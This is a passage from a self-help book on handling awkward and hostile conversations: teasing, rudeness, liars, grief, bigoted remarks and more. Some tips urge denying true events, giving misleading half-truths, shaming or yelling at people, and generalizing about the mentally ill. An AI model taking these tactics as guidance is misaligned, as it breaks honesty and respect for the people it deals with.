gone to a business lunch with such a person. After hearing him berate a waiter, they wanted nothing more to do
with him. So, one soothing factor when a person berates you is that it often backfires.
One thing you can say to a person after he has completely ripped you to shreds is to say “Now that that's over,
do you feel better?” Another approach is to completely agree with him. When they say “How could you…?”,
you mirror right back “That's right, how could I?” Get even madder and sound even more irate and louder as
you yell at yourself. Berate yourself more than they berate you. That will not only put a quick stop to their
behavior, they will often come around to your aid. They will usually say “Well it's not all that bad!” They will
try to comfort and appease you.
It's Not So Funny When It's Me!
When someone makes fun of something you did that you didn't find particularly funny, it can be just as
humiliating as when someone rakes you over the coals. When you want to befriend and impress people, you
don't want some idiot telling them

Page 269
about the day you looked ridiculous wearing shoes that didn't match and were so out of it you didn't even
realize you had done it. You cringe because you don't want the listeners to think of you as a flake or a weirdo
who does this all the time. You also don't want them to know the real story—that you were so hung over from
the night before you had no idea where your shoes were, so you grabbed any shoes just so you wouldn't be late.
Another example. You are dying inside as you hear your sadistic colleague tell your potentially new
supervisors about your faux pas at a presentation you gave at a board of directors meeting. She freely and
loudly volunteers that instead of saying “that was the interesting part,” you said “that was the interesting fart.”
Everyone was holding their sides, including you. The only difference was that they were holding their sides
from laughter and you were holding your sides from nausea. You wanted your new colleagues to respect you,
not to laugh at you and see you as a joke.
Since your colleague made you look bad in front of these colleagues, peers, or potential friends, it is best to
laugh along with them and lightheartedly say something like:
• “You must have a touch of Alzheimer's. That wasn't me—that was your [sister, mother, wife, girlfriend,
boyfriend, husband, son, daughter—take your pick!]”
• “You sure know how to show people the best parts of person's image, don't you?”
• “Excuse me, what's your name again? Do I know you? Are we friends? I don't recall any of my friends who
would humiliate someone so badly!”
All the while, you make these statements, remember one major thing—SMILE.
If you didn't smile and gave these lighthearted yet biting answers (which are actually stinging retorts) and
yelled, screamed, and accused, your potential new friends or business associates might see you in an
unfavorable light. This light can shut both professional and personal doors for you.
Burning Brunts of Jokes.
Being the brunt of a joke is much like being the butt of a cigarette. They both burn! Both can destroy your life
forever! One destroys you physically, while the other destroys you mentally and emotionally.
When one is constantly humiliated by being teased or made fun of, even in jest, eventually he comes to believe
it, because it is constantly reinforced. Not only does the person who is teasing him or joking with him remind
him of his shortcomings, but everyone around such a teaser follows suit. Why? Because joking around, no
matter how hurtful it may be to the target of the joke, is contagious. Monkey see, monkey do!

Page 270
One person sees another person making fun of someone, so the others think that person is an easy target. Then
they follow suit, in order to amuse themselves, and proceed to verbally torture the person by making them the
brunt of their jokes. That person is so overwhelmed (especially if he is a child), that he walks away, cries, and
has trouble showing his face publicly.
As an adult, even though he may feel like crying, the minute he is in a group and is singled out as the brunt of a
joke more than once, that is one time too many! If you are such a person, put a stop to it! And do it NOW!
Turn to the person who just made the “joke,” and put on a huge exaggerated phony forced grin. Point your
index finger directly at them. In front of all the other people, say in an upbeat, sing-songy, humorous, jokinglike
voice: “Now its your turn! From now on, the brunt of all jokes will be directed here!” (pointing to the
person). You also have another choice, and that is to act like a disgusted parent. Wave them off by saying
“Enough already! It's getting old!” Say it in a calm, bored, monotone with an accompanied bored look on your
face.
Now if you want to be a little more high-drama, hold up your hand like a traffic cop does to indicate “STOP!”
Say “STOP RIGHT NOW!” Then turn on your heels and leave. Go anywhere—to the bathroom, outside,
anywhere. Just walk away. You will be away for only a minute or two to give them time to reflect on their bad
behavior. Then you will re-enter the room. They will be in shock! There may be silence. It may be the same
initial silence as when a king, queen, or rock star walks into a room! They can't believe you actually came
back, especially after thinking you were so upset with them!
Now that you have thrown them completely off-guard, give a big hearty smile. Resume your conversation.
Believe me—you'll never be a brunt again!
You Don't Like Me! You Really Don't Like Me!
Smile, smile, all the while. Sometimes when a person can't stand you and you smile at her, she suddenly begins
to be able to stand you more and more. Talking to someone who you know really doesn't like you is no fun!
For some reason, perhaps a past transgression, a miscommunication, unwarranted gossip, or jealousy, she just
is not receptive to you. Whenever you are around she gives you the cold shoulder, gives you that “look,” or
says something nasty, curt, cutting, sarcastic, or snippy to you. You can't make excuses for her any longer. It's
way too obvious.
What do you do? Unless it affects your dealings with others or makes you so uncomfortable you feel like
crawling out of your skin or pulling her out of hers, you need to

Page 271
bust her on it ! Be upfront! You have nothing to lose! She doesn't like you anyway!
Say something like this: “Look, I know you have some hard feelings towards me. I am not sure why you do. If
you care to talk about why you feel so badly about me, I would like very much to get that out in the open once
and for all. You never know, maybe there's been a misunderstanding we can clear up.”
Notice that you are saying this in a very casual manner. There is no formality here. You are not giving the
impression that you are reprimanding anyone or pleading with him. Instead, you are being open and honest and
claiming to want to know what's going on.
It is very important to note that while you are making the preceding statement, you should not frown or act too
serious or have a tense or uptight facial expression if you can help it. Instead, try smiling at her. Try to have a
light and casual facial expression. This will help her feel more comfortable in your presence and even mirror
back to your positive and open-faced expression. At least the door is open. She knows you know, and you
know she knows. You were big enough to have made the first move, so if it works, you won! If it doesn't work,
you still won!
By the way, if she doesn't want to talk about it or resists your efforts to be open and put the matter to rest,
chances are she has no reason for not liking you. It's about what you represent to her, not what you actually did
to her. So, now that you know your verbal adversary, be aware!

Page 272
When Someone Says Something Mean or Sarcastic to You
By now, after reading this book, you definitely have a good handle on why people say sarcastic and mean
things to others, especially when they are unprovoked. The very best way to counteract these hostile words,
especially when there was no apparent reason for the person to say them, is to respond in six simple words. The
six words are “Excuse me, what did you say?” When one says these six simple words to other people, the other
person always stops for a moment to regroup. They do it because they need that momentary pause to call upon
the information stored in their brain cells. They need to rewind the imaginary tape of what they said and repeat
it verbatim. Their brain goes into automatic, and then they usually go ahead and repeat what they said.
People who intentionally say something nasty or sarcastic to you definitely don't expect you to ask them to
repeat what they said. In doing so, you have just gained the upper hand! You have just put them on the
defensive in making them explain exactly what they mean by what they said.
Enjoy watching them sputter as they try to worm their way out of their sarcastic or lame comment, or tell you
that ever popular lie that they were “only kidding!” Yeah, sure! I don't think so!
Oh No! Tell Me This Is Just a Bad Dream!
You go to a fancy dinner party with a new date. Many important people with whom you do business and
socialize are there. You feel great until after you are seated for dinner and notice your piggish date with food
slopped all over his face and crumbs and stains all over his clothes, as he talks with his mouth full and both
elbows on the table to someone across the table. Moments later, you hear a shriek, which is really a laugh, as
the two or them laugh at a filthy joke they are telling to an obviously annoyed gentleman seated between them.
It's obvious that both of them are as drunk as skunks.
What do you say to the person who has embarrassed the daylights out of you because he is so out of control
(whether out of anger, medicine, or drugs)?
What do you say to the people who have observed your having the daylights being embarrassed out of you?
With regard to the first question, you always must keep a calm and collected tone. Speak to him in terms of
endearment by calling his name attached to “honey,” “darling,” “love,” or “baby.” This reassures him that he is
still liked in spite of himself and his bad behavior. It helps to calm him down.
In the second situation, what you say to those who observed the two people embarrass you is the following,

Page 273
“It's obvious they have a problem. I am going to try (keep trying) to get them some help.” Don't go on and on
about the specifics of what they did. Don't talk about other occurrences. Just say what I told you to say. Make it
short and sweet and go on to the next subject. Everyone knows what's going on, so you don't have to go into
great detail. Otherwise you are crossing over into the line of gossip.
Please, I Beg You, Please Don't Tell Them That!
What happens when someone you knew from the past (including a family member) or someone you may
currently know starts to repeat a really humiliating event from your past?
Stop them in their tracks! Don't let them continue. Erase it. Say they must be mistaken or are crazy (in fact,
they are absolutely crazy—crazy for bringing it up). If they persist, tell them they are insane. Talk over them.
Never admit it. Say it was someone else. It is not a lie. It was someone else. You aren't the same person you
were five years ago; you've changed completely.
There Are No Representatives in This House of Speakers!
What do you say to someone who has such a control issue that she takes it upon herself to speak on your
behalf, even if you are right in front of her? Well, first hear what she has to say about you, just to see if it
would be something that you would actually say. Then set the rules straight and do it quickly! Those rules are
that absolutely nobody speaks on your behalf! “You speak for yourself in the presence of others!”
How do you get this point across? Well, humor is always a good way, for starters. You can say something like
this. “You know, the last person who spoke on my behalf was my mother back when I was two years old and
really couldn't speak for myself.” Or you might want to say something like “I thought that only lawyers were
supposed to speak for you, and only when you pay them!” Be sure to smile and chuckle for added effect as you
make these quips. She should get the message.
However, there is always the chance that she won't get it. In that case, you might want to be more direct and
tell her politely, “I really appreciate your trying to help me get my point across, as I know that you are as
concerned about the matter as I am, but let me say what I have to.” Usually that will take care of everything.
If she still doesn't get it, and now you are convinced that she is definitely unconscious, you might want to
knock some consciousness into her brain by saying the following: “Thank you, but I
Page 274
don't need an advocate, I can speak for myself and I'm not invisible. I am here.” Or “I have a brain, my
faculties are together, and I am fully capable of speaking for myself, thank you.” If she persists, interrupt her
with the two words she probably hears most often: “SHUT UP!”
Hey! Butt Out!
When someone sticks her nose in your conversation and she has no business doing it, you can say the very
same sort of things that you said to those who speak on your behalf, only phrase it something like this: “You
must have a lot of time on your hands—otherwise you'd be living your own life.” You can go the polite and
kind route and say “Look, I know that you were probably just trying to be helpful, and I appreciate it, but I
really can handle this on my own.” If she continues to get involved, yell at her to “Get a life and get out of
mine!”
You're Really Nice After All!
Many times you will find yourself talking to someone you don't like—someone against whom you have many
prejudices. This is mainly due to someone trashing him. Someone told you all these horrific things about the
person, so you end up having an attitude towards him. You are abrupt and cold in your facial and body
language. People have told you such awful things about him, which of course you believed. Now that you spent
time talking with the person, you really like him. Your entire demeanor changes and he notices it. He mentions
it to you!
What do you say? Should you just be honest and admit that you had heard some not very pleasant things and
thought he was going to be a pain to work with? No. You just keep your mouth shut. Say something (which
isn't a lie) like “I wasn't really all there when I first met you.” It's true! You weren't all there. You had someone
else's mind in you—their opinions and values. Now that you got your mind back, you are all there! You learned
a valuable lesson and you learned it well.
Don't take anyone else's word for it! Make up your own mind!
You Said What About Me?
What do you do when you hear that someone has trashed you? It's the best scenario when you know that she
trashed you and she doesn't know that you know. Let's say you are at a social gathering or even in a work
situation. You go up to her and observe how she reacts to you. Is she standoffish? Super-friendly? Aloof?
Downright hostile? All of these actions tell you a great deal about her character. If you are near her in a workrelated
situation, try your best to sit or stand next to her.
Page 275
Make sure you look at her often and smile. This will make her very uncomfortable and feel very guilty
(providing she has a conscience) for what she said about you. Find an opportune moment, preferably if you can
get her alone for a moment, and break the news to her: “Hey, I hear you've been trashing me” or “I hear you've
said [such and such]; that's not very polite of you.” Watch her squirm. Watch her turn red. Watch her sputter
and stammer. If you want to resolve any misunderstandings because she might make a good business relation,
stick around. If not, adios ex-amigo!
Keep Your Opinions to Yourself!
There are people who are so nasty to be around. They make everyone feel uncomfortable because they are so
opinionated. While having an opinion is a good thing, having too much of an opinion and not listening to the
opinions of others is a bad thing. If someone is highly opinionated, you need to politely say “I appreciate your
opinion. I can understand your point of view. Here's another point of view. What do you think about it?”
If he cuts you off and won't let you speak, if he won't give you a chance to present your opinion or puts your
opinion down all the time, what you need to do is the following:
Put your hand out like a traffic cop would to stop traffic. If you are a woman, take out a mirror (a compact will
do). Show him his face in the mirror. If you don't have a mirror, find a mirror or say “Go to the nearest mirror,
and look in it.” Then add, “The person looking back at you is the only person to whom you can tell your
opinion, because he will always agree with you. You might as well carry a mirror around all the time and have
conversations with yourself.”
Are You Mute or Something?
Let's say you meet someone and he is not the talkative type. He is pretty reserved. He gives one- or two-word
answers. Talking to him is like pulling teeth. He doesn't reciprocate and ask you questions in return. He just sits
there waiting to be asked. He is boring. You sit in silence until you ask the next round of questions.
In order to get the conversation rolling you can try one of the following:
1. Ask him to ask you questions. Make it into a game. Have him ask you a question and then you ask him a
question.
2. Tell him to describe the best movie he ever saw or the best experience he had or the most fun he had or the
worst time he had. Just get him to say more than two words.
3. Tell him that you feel comfortable when people talk to you and that you would appreciate it if he could help
you feel comfortable.
4. Sit in silence too. Say nothing. See who cracks first!
5. LEAVE!
Page 276
Stop Kvetching Already!
After reading this book, you know what the word “kvetch” means. If people are always complaining to you,
after you have tried to be kind and loving and supportive and giving them all the attention you can muster, then
you need to refer them to others.
For example, if they complain about their aches and pains, say “See a doctor.” If they go into detail about how
bad they hurt, say “Call the doctor now.” If they continue, say “Let's call 911 and get an ambulance for you.”
What you say largely depends on what they complain about.
No matter what their complaint is, agree with them, take it to the extreme, and offer to take extreme measures
to rectify the problem as I just illustrated. They will always stop you and this will in turn stop them from
complaining—at least for a while. In essence, you are conditioning them to not complain, at least not to you!
Speaking in Different Languages
I give you a lot of credit for trying to communicate with someone who doesn't speak the same language as you.
I appreciate your attempts at gesturing to them and drawing pictures, pointing to objects and saying words in
their language. But please don't yell at them. They merely don't understand. They aren't deaf! Saying it louder
isn't going to make them better understand what you want to say.
Also, when you're attempting to speak their language, please make sure that you are familiar with key words
and gestures so that you do not embarrass yourself and

Page 277
inadvertently make some obscene gesture. If you make the American “okay” sign to a Brazilian, you have just
caused him to gasp by calling him an ugly word. And don't think you're safe just because a person from
England or Australia speaks English. He or she has a different set of gestures and rules that mean different
things as well. Saying the wrong word can really cause extreme embarrassment.
What Am I, a Bank?
Asking someone for money is one of the most invasive things a person can do. It can destroy friendships and
cause anger and resentment. You really find out a lot about a person and his character when it comes to money
matters. It can change and even end personal and business relationships. That's why we have business
managers, CPAs, and attorneys to handle money matters.
If people are bold enough to ask you for money, you have to be bold enough to ask them to sign a document
stating that the money is only a loan and that they will pay it back by a certain date. As obnoxious as you may
think it seems, ask them to leave something of value like a ring or a piece of jewelry, a stereo—anything as
collateral for the money. Otherwise, believe me, if they don't pay it back in time, you will be maaaaaad!
If they balk, blame it on past experience. You aren't lying. The past experience is what you read about in this
book. Too many of my clients lost too much money but when they held items hostage in return for the money,
they got repaid. If they start yelling at you and put you on the defensive, you can yell back “What do I look
like, a bank?”
What Part of the Word “No” Don't You Understand?
Many people are so persistent that they often persuade you into doing things you don't want to do—anything
from granting them a special favor to getting married! They do this by the Erosion Technique. It's the same one
little kids use when they badger their moms to buy them that certain toy or take them to Disneyland. Like a
broken record, they ask for it over and over and over and over again, never taking “no” for an answer and not
relenting until they finally get what they want!
Tactfully Telling Someone About Body Odor
If someone has bad body odor or bad breath, you have a choice. Either tell that person, or suffocate! It's up to
you! What you say depends upon who is doing the stinking! If it is your boss, you might want to say nothing,
but send an anonymous care package of mouthwash, toothpaste, soap, cologne, deodorant, and a toothbrush. If
it is someone whom you have to be around for a short period of time, who seems on the hostile or
unapproachable side, hold your breath, do your business, and run. If you need to be there a while, say “I don't
mean to offend or embarrass you, but I want to let you know that you have body odor (or bad breath), just in
case you have to get close to a
Page 278
lot of people today.” Just know that they might never speak to you after that and they might hate you because
of their embarrassment. But in the long run you might have done them the biggest favor. If it's a friend or a
lover or a family member, then you can go for it. Tell it like it is! But please be diplomatic!
Ask if maybe they ate something spicy or drank something to cause a heavy odor to come out from their pores.
If they deny it, ask if they used a certain cologne or soap. Hopefully, by now they will get the message. They
will see that you are trying to allow them to save face. By now they will have moved a few feet away from you
or have retreated to the bathroom to brush their teeth or wash up.
Someone Who Never Gets the Bill.
When you have been out to dinner with someone numerous times and he never picks up the bill or contributes
to the bill, speak up! Don't you dare let him get away with it! If you don't speak up then you deserve him taking
advantage of you! Don't let your anger stew and stew! It isn't going to do you any good unless you say
something.
Don't feel sorry for them because they can't afford it and then get upset when they don't reach for the bill. If
they truly can't afford it, then they shouldn't be going out to dinner with you in the first place. Of course there is
another group of people, many of them in the six- and seven-figure salary range, who are just plain cheap. Tell
them to pay up! Don't be so quick to reach for the bill or rescue them from embarrassment. Say, “You know I
always get the bill. Tonight, I'm gonna let you do it. Besides, I left my wallet at home.” If they say “So did I,”
say, “Well, I'll wait here while you go home and get your credit card.” If you live too far, get the waiter and be
assertive. Speak on your friend's behalf. Say “my friend left his card at home, and he's going to give you his
name and number and address and will call you tonight with the credit card number.” SHAME HIM INTO IT!
That will teach him! Of course you might never go out to dinner with him again.
Page 279
Page 281
Chapter 22
Verbal Self-Defense in More Difficult Situations
In Chapter 21, you learned what to say in sticky situations. In this chapter, you learn exactly what to say in
even stickier situations—circumstances where you face a major dilemma. In some cases you may be damned if
you do, and in other cases you may be damned if you don't. In any case, you have choices. You will learn
exactly what to say and how to say it in situations you may have pondered and, perhaps, even dreaded.
Breaking the Bad News
In the days of ancient civilizations, those messengers who were unlucky enough to deliver bad news (sent by,
perhaps, a neighboring king) were beheaded. Hence the expression “don't kill the messenger.” One of the worst
things in the world is to be the bearer of bad news. Even worse than that, of course, is to be the recipient of bad
news.
Being the bad news bearer is not a position you seek out. It seeks you out! It just happens! Suddenly, there you
are, in front of somebody you definitely don't want to be in front of, telling them something you definitely don't
want to tell them.
Page 282
Unless you are a therapist, physician, policeman, fireman, attorney, or minister, you probably are not trained in
how to tell others something horrible or tragic has happened.
Dropping the verbal bomb on someone doesn't always involve telling them that someone has been maimed,
fallen ill, or has died. It may involve firing someone, telling them they owe money, a relationship is over, or
even that you've found someone else in your life. No matter what the message is, it is devastating, agonizing,
and leaves the recipient in excruciating pain.
Thus, the messenger needs to break the news as gingerly as possible. Obviously you cannot be too blunt or
direct, no matter how nervous you are, just so you can get it over with and not have to deal with the aftermath
of emotion. Put yourself, your emotions, your fears, your hang-ups aside. Don't concern yourself with YOU for
now; think of THEM! Don't be afraid to touch them, put your arm around them, hold them, caress them, or
lightly massage their shoulder, back, or arm. Let them cry, scream, and wail. Don't say “please don't cry” or
“don't scream so loud.” Don't let their emotions affect you! Let them get all of their emotions out. Give them
the freedom and the opportunity to grieve any way they see fit!
As the bearer of the bad news, you, unlike the messenger of ancient times, will not literally get your head
chopped off—but it might be close. You need to prepare yourself for what's in store. Forewarned is forearmed.
The person might cry hysterically, to the point that they hyperventilate and faint. You might even have to
perform CPR or call 9ll or an ambulance. They might lash out at you and start hitting and punching at you
blindly.
You're Not the Only One!
Telling someone their spouse has cheated on them is one of the most awkward and difficult things to do,
because there's no way to anticipate in advance what is going on in the mind of the person who you think is
being cheated on. For one thing, she may have an open relationship where such behavior is tolerated, so the
information will not bother her, but you will have been upset with all the time you have spent trying
(unnecessarily) to spare her feelings. Or she may not care. Or she may be glad because she herself is cheating
or looking for an excuse to end the relationship. Or she may want to hurt or kill herself, her spouse, or the
“other woman.”
It is important to know for sure if you are going to reveal such information. How do you know that cheating
was really going on? Did some gossip tell you? Were you actually in the bed with them? Did the alleged other
woman or man spill the beans? If so, to whom did she spill them? To you? If so, are you justified telling this to
the other

Page 283
spouse? And even if the other woman did tell you about the alleged affair, maybe she knows what a gossiping
creep you are and just wanted to stir up a little trouble. As far as his admission, maybe he was just trying to
impress you with his sexual virility. You might be wise just to keep your mouth shut and mind your own
business in this case.
Wives and husbands often can tell whether their spouses have been true, so let them figure it out on their own.
Otherwise you risk being verbally beheaded and banished from someone's life. They will usually be too
embarrassed and the memory of the situation with be too painful a reminder for them to have you around
anymore.
On the other hand, if you don't listen to me and tell, just be prepared to handle them as you would anyone who
just found out they just lost a loved one and was beginning the grieving process.
Talking to the Grieving.
When talking to someone who is mourning the loss of a loved one, remember that you will be interacting with
them at various stages of their cycle of mourning. So they might be in their denial stage or “happy-go-lucky”
stage, where it seems as though they don't care at all that someone they were with for 25 years just dropped
dead. They are so cheery, making everyone coffee and serving cookies, handling out Kleenex and not shedding
a tear. You will obviously talk to them differently than when their wailing stage hits—a day, a month, two
years later.
You need to be tuned in and ready for anything. People grieve in different ways and for different reasons. Use
soft and tender tones. Say comforting but sincere things. Let the bereaved know you are there for them and
follow through on this! Be there when they call, even if it's 2 A.M.! They need you. You offered, so be there!
Dying with Love!
Perhaps the most difficult and heart-wrenching thing to do is talking to a person you know you will never see
again alive. Although approaches to dying are highly personal, based upon people's religious and philosophical
views, the commonality that embraces all humankind can be communicated through two modalities—sound
and touch.
With regard to sound, it is very important to complete your relationship with the person you will no longer
physically see. Through your voice, you must say everything you always wanted to, not holding back! If they
are lucid, you will have given one another a gift no amount of money could buy.

Page 284
Never overlook touch—it is one of the most powerful ways of communicating with the dying. We must hold
up the example of certain African tribes, where people gather their entire village together when a person is
about to die and take turns lovingly caressing, holding, hugging, cuddling, kissing, and massaging the person
until they pass in peace. We need to communicate this same attention to those who don't have much time left
on this earth.
Gotcha!
You caught someone in a lie. What do you do? It depends on what kind of lie and whom they were lying to. If
it was an exaggerated truth said in front a bunch of friends and colleagues to make them look good, who cares?
They tell you they made a six-figure income when they really made five. They tell you they went out with three
gorgeous women on vacation in St. Tropez, when in reality they didn't even have a date. They know they were
lying. You know they were lying. But most likely they don't know you know they were lying. As long as they
feel they boosted their self-esteem after telling their little white lies, who cares?
On the other hand, suppose someone is doing business with you or you are in any type of social relationship
with them (friendship or personal) and they are telling you a blatant lie. I say: BUST THEM! Who the person
is and what the lie is should decide what method you use to let them know you caught them. At first, try letting
them save face. Especially if you like them, smile, muster a little chuckle if you can, and say, “Come on—
what's the real deal?” Usually they will respond with their own humor, returning your laugh, and coming clean
with the truth.

Page 285
If they don't come clean, be more direct and serious. Confront them in a calm and civilized, non-accusatory
manner, beginning the sentence with “I don't feel comfortable…,” “It frustrates me that…,” “I have a gut
feeling…,” “I'm not going to hold it against you…,” “I'm not here to judge you…,” “I'm not gonna yell at
you…,” “We all make mistakes…,” or “Everyone slips up or does strange things once in a while….” You are
giving them a gracious way out. You are letting them off the hook, allowing them to comfortably admit what
they did with no severe repercussions from you.
Now, if they are cagey and still won't come clean, be blunt, bold, and insensitive. Don't worry about hurting
their feelings. They certainly don't care about yours! Say, “Look, I know you're lying to me. Just admit it!” Or,
“Why can't you just admit it? Stop lying! You are a liar! You are lying to me! Now admit it, if you have any
respect for our relationship!” Usually, if they have any conscience and are not pathological liars or sociopaths
or severely psychologically dysfunctional, they will admit it. If not, read on.
Liar, Liar, Pants on Fire! I'll Never Admit I'm a Liar!
We have all experienced firsthand the person who just can't tell the truth no matter what. They have all the
evidence staring them in the face, and guess what? They still lie! It's obvious that this person has some major
psychological problem they haven't yet dealt with.
You need to be direct and blunt and do so in an angry tone! This type of liar needs a lot of approval from
others. That's why they lie. They don't want to look bad in anyone's eyes. So you need to shake a dose of reality
into them. Look right at their face; give them an intense stare, because you do not break eye contact with them.
In a loud, firm, unwavering tone, say “You are a liar. I caught you. I have all the evidence you lied.”
Sweet Talkin' “Ear Candy”
While everyone loves to hear wonderful things about themselves, nobody likes to be manipulated or lied to,
especially about themselves. Nobody wants to hear sweet words—“ear candy”—when the person is really
saying those words with ulterior motives. They may say these sweet nothings (that is really what the words
mean—nothing!) to many different people. They might say these things just to get what they want from that
person. Their view: Give people a piece of “ear candy,” and they will do whatever you want—go to bed with
you, give you that job, give you gifts, anything your heart desires! Of course, the other person gets nothing in
return, only a lot of ear candy.

Page 286
Sexually and Racially Incorrect
When someone makes a racist or sexist remark in front of anyone, they are stupid for two reasons. The first is
the obvious. They are showing how ignorant and backward and insensitive they are. Secondly, they are literally
taking their lives in their own hands. People have been ostracized, families have been torn apart, people have
been jailed, and, unconscionably, even murdered in the name of racism and sexism, as our history books show.
This is not a joke.
Unfortunately, even in today's supposedly politically correct climate, many people are still not so politically
(racially and sexually) correct. Prejudicial comments and sexist comments still bounce about disguised as
humor. This should never be tolerated or condoned under any circumstance. If you are the target of such
remarks, how you respond depends on whether it is said in front of you or in back of you.
Please read this carefully. Do not, I repeat, DO NOT GET PHYSICALLY VIOLENT—ever! Verbally violent?
Well, that's another story, but physical violence is unacceptable.
If the comment was made behind your back, so much the better. Now you know who the clandestine enemy
really is. If the comment was made in front of you, especially if others were present, you have a number of
options, especially if someone was stupid enough to have made the comment at work. The repercussions—
legal and otherwise—are enormous, so you could say nothing and let it be handled by the powers that be. On
the other hand, if the comments were made socially or in other environments, here are some things you can say.
To a racist:
“Guess what? We're exactly the same color under our skin, we're both blood red.” If you really want to play
with their mind, agree with their racist joke. Chuckle and say “Yeah, those___people (the group they were
making fun, of which you are a member) sure are___(pejorative term). I'm sure glad you and I aren't one of
them!” You will leave them with their mouths hanging open, because you are obviously one of that group and
have been bold enough to let them see how obnoxious they are!
In response to a misogynist comment, ask “What century are you from?” or “If it weren't for us, there would be
no you.” You can also have some shocking fun! Let's say as a woman you hear an incredibly vulgar sexual putdown
regarding women. Obviously this man does not respect you as a woman, so you shouldn't think twice
about what you're about to do. Join in. Laugh real loud. They'll look at you strangely! Say “Yeah, those
women—they sure do have great___(compliment about one of their anatomical parts that the joke probably
referred to.) I liked it better when I was a man! I regret having that operation!” Watch them turn! Watch them
squirm!
Page 287
Come On! Just a Little Bite!
How appropriate that the word diet has the letters d-i-e in it, because you are dying to have something you
aren't supposed to eat. With all of the pressures surrounding you, you are a hero if you stick to your plan. You
certainly don't need anyone sabotaging your efforts, whether they mean to or not. Since it is so easy to give into
a persuasive food pusher, you really have to muster up all your verbal and vocal strength as you say a firm and
resonant “No, thank you!” If they insist, repeat “No, thank you!,” only this time in a louder and stronger voice.
If they still persist, say, “Look, I know you mean well, but I really cannot have any of this. I am under a strict
program and my health depends upon it. You wouldn't want to be responsible for sabotaging my health, would
you?” Most likely that will put a stop to it! Again, you haven't lied. Your health is in jeopardy. Besides the
physical problems often caused by being overweight, you have to consider your mental health as well. Often
people who are overweight are emotionally upset about it—otherwise, they would not be on a diet. People who
are overweight are usually unhappy about it. Why else would they be on a diet?
Enough About My Weight Already!
Why is everyone so concerned about everyone else's weight? We live in a society that is obsessed by how
much people weigh. How often have you run into a friend you haven't seen in a while and said, “Oh, you lost
weight!” Or turned to another person and said, “It looks like she put on weight!” There are even people who
will dare to ask, “Have you put on weight?”
If someone needs to lose weight, you don't need to say anything—believe me, they know it! They don't need
you to tell them. They have a mirror to do that. But what about if someone moans and groans about how fat
they are? What do you say? For starters, don't join their chorus. They can sing and groan it all they want to, but
if you do, watch out! They will never forgive you. Never! If you are the one someone told to lose weight, say
the following. “Why does my weight disturb you?”
That's My Friend You're Talking About!
What do you do if you're in a conversation and you overhear some people talking about another person who is
your friend? First, keep quiet and listen to everything they have to say so that you have the entire picture. You
may actually agree with them. You might want to join in and add to the conversation by providing a new and
different perspective. This might give them insight as to why your friend might have behaved or reacted the
way she did.

Page 288
On the other hand, if they have nothing good to say about your friend, and much of it is based on lies, you have
a responsibility as a true friend to stand up and defend! Say “Hey, that's my friend you're talking about!” If they
say “So what,” you may reply, “Well, I don't appreciate you talking about her that way!” If they are belligerent,
you are better off not getting into it with them. You don't want to have any bloodshed over this! The fact that
you defended your friend's honor is good enough. I will leave it up to you whether it's best to tell your friend
about the incident. You may help them in the long run, although at the moment you are probably going to hurt
their feelings.
You Don't Know What You're Talking About!
You have probably been in situations where someone is talking, but they really have no idea what they are
talking about, even though they insist that they do. They insist that they are right. They insist that you do it
their way. You know that if you do, you will have wasted a lot of time and money. But they are so stubborn,
they just won't budge, no matter how hard you try to convince them that their way is wrong. You try logic. You
write it down. You have all the evidence in the world. It doesn't matter. They are as stubborn as a mule. What
do you say?
First of all, it depends on who it is you are talking to. If it's your boss and they are paying for the mistake, let
them knock themselves out and go for it. If you have a lot invested in it, say the following, “You know, I really
respect you, and I am sure that you feel the same. We are obviously at an impasse. I am going my way, and I
know you will go yours for now. No hard feelings.”
Talking to Those with Speaking Challenges.
If you are dealing with a person who stutters or has any other type of speech impediment, the absolute worst
thing you can do is to finish a sentence for them, even if you are trying to be helpful.
As uncomfortable as it may be for you to watch them struggle, repeat sounds, contort their faces, and even in
some cases spray saliva, it is even more excruciating for them
Page 289
to have you speak on their behalf. (The exception is a stroke victim: You may be helping that person retrieve
certain words from his or her damaged memory.)
Therefore, you must be patient. Try not to look away, even though you may be feeling embarrassed. Always
keep in mind that they deserve to be treated with the same dignity and respect as you.
Talking to Those with Hearing Challenges
When speaking with the hearing-challenged, you obviously need to speak up, even if they are wearing
amplification devices—but DON'T YELL! This can cause distortion and a squealing sound in their hearing
device. Face them directly so that they can read your lips, and speak slowly so that they can try to understand
everything you say to them. DO NOT speak down to them or treat them as though they are mentally
challenged. Their intelligence has nothing to do with their hearing problem.
Talking to the Physically Challenged
Unless you have been exposed to many people with physical and mental challenges, you may well feel
uncomfortable talking with such people. The key thing to remember is to treat them with respect and never talk
down to them. The words of John Merrick, the Elephant Man, say it all: “I am not an animal—I am a man.”
Even though he was different, he was still a human being deserving of the respect of others.
The first thing to remember when you talk to anyone who is blind or paralyzed is never to yell at them or speak
loudly or slowly in simple childlike sentences. They are not deaf or mentally challenged. Indeed, those with
limitations such as blindness have often developed a sense of hearing much keener than that possessed by fully
sighted people. Talk to them like you would to anyone else.
Talking to the Mentally III
People with mental conditions are among the most difficult people to communicate with, because you never
know where they are coming from. Often you may think that a person is just being difficult or ornery, when in
fact that is only the tip of the iceberg. Some are very psychologically disturbed. Some may have mood swings,
going from elation to depression in a moment. Others may have sudden bursts of anger or impulsive behaviors
that make them do things on a whim. Still others have compulsive behaviors that result in certain rituals,
behaviors, or extreme irritation at certain things. And some sad cases are so out of touch with the real world
that they hear voices.

Page 290
Although people with mental conditions may be undergoing professional psychological treatment, there are
some things you can do to communicate with them more effectively. It is important to speak in soft, consistent
tones, try not to raise your voice. When you are explaining something or telling a story set limits and focus and
get to the point as soon as possible. Make sure you limit communication to only basic information and avoid
heavy, esoteric philosophical discussions.
No—Not You!
When you found out that someone you really liked or loved betrayed you, perhaps no words could express
what you were feeling. Perhaps they betrayed a confidence. Perhaps in a moment of anger they threw back at
you a confidence you shared only with them. You're numb! Speechless! You feel as though you got kicked in
the stomach!
What do you say? After all, what can you say when respect is lost? That's exactly what you say. “I can't believe
how I trusted you! This hurts me very deeply. Tell me how I can ever be able to trust you again. I am in a lot of
pain right now!”
The key here is to never keep it in! Let it out! Say everything that you are feeling in your heart! Cry! Feel the
pain! Speak the truth!
I Admit It! I Did It!
In our culture, the things we value above all else are honesty and integrity. We appreciate remorse. We are
quick to forgive. We open our hearts to those who can take an honest look at themselves and see what wrongs
they committed, admit them, and attempt to make them right. This is the basis of how we judge others and even
more important, how we judge ourselves.
Whether you are admitting you cheated, lied, or made a mistake, just remember that it takes a great deal of
character and inner strength to admit you are wrong, make an apology, and have remorse for what you did. It
takes an even stronger person to want to make amends for the situation. To admit you did something wrong,
the first step is to not think about the other person's reaction. They very well might hate you and want never to
